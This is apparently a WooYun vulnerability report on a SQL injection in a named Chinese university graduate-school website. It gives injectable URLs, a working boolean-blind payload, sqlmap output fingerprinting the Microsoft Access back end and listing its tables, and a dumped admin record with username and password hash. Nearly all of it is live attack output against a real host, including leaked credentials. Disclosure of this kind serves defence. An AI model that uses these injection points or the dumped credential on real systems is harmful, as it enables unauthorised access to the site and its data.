WooYun.org

注入点:
http://grad.gipe.edu.cn/shownews.asp?id=850
http://grad.gipe.edu.cn/shownews.asp?id=879&FL=%CC%AC%CD%A8%D6%AA id=879
sqlmap identified the following injection points with a total of 126 HTTP(s) req
uests:
---
Place: Cookie
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=850 AND 1683=1683
---
[18:16:26] [INFO] testing MySQL
[18:16:26] [WARNING] the back-end DBMS is not MySQL
[18:16:26] [INFO] testing Oracle
[18:16:27] [WARNING] the back-end DBMS is not Oracle
[18:16:27] [INFO] testing PostgreSQL
[18:16:27] [WARNING] the back-end DBMS is not PostgreSQL
[18:16:27] [INFO] testing Microsoft SQL Server
[18:16:27] [WARNING] the back-end DBMS is not Microsoft SQL Server
[18:16:27] [INFO] testing SQLite
[18:16:28] [WARNING] the back-end DBMS is not SQLite
[18:16:28] [INFO] testing Microsoft Access
[18:16:28] [INFO] confirming Microsoft Access
[18:16:29] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
[18:16:29] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\grad.gipe.edu.cn'
[*] shutting down at 18:16:29
Database: Microsoft_Access_masterdb
[3 tables]
+-------+
| user |
| admin |
| news |
+-------+
Database: Microsoft_Access_masterdb
Table: admin
[6 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| user | non-numeric |
| content | non-numeric |
| id | numeric |
| password | non-numeric |
| title | non-numeric |
| username | non-numeric |
+----------+-------------+
Database: Microsoft_Access_masterdb
Table: admin
[1 entry]
+----+-------------------------+--------+---------------------------------------
----------------------------------------------------+----------+----------------
--+
| id | title | user | content
| username | password
|
+----+-------------------------+--------+---------------------------------------
----------------------------------------------------+----------+----------------
--+
| 1 | ??????2015????????????? | admin | <P>\r\n<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbs
p; <A href="http://grad.gipe.edu.cn/UploadFiles/??? | admin | 5e1c96be976c766
8 |
+----+-------------------------+--------+---------------------------------------
----------------------------------------------------+----------+----------------
--+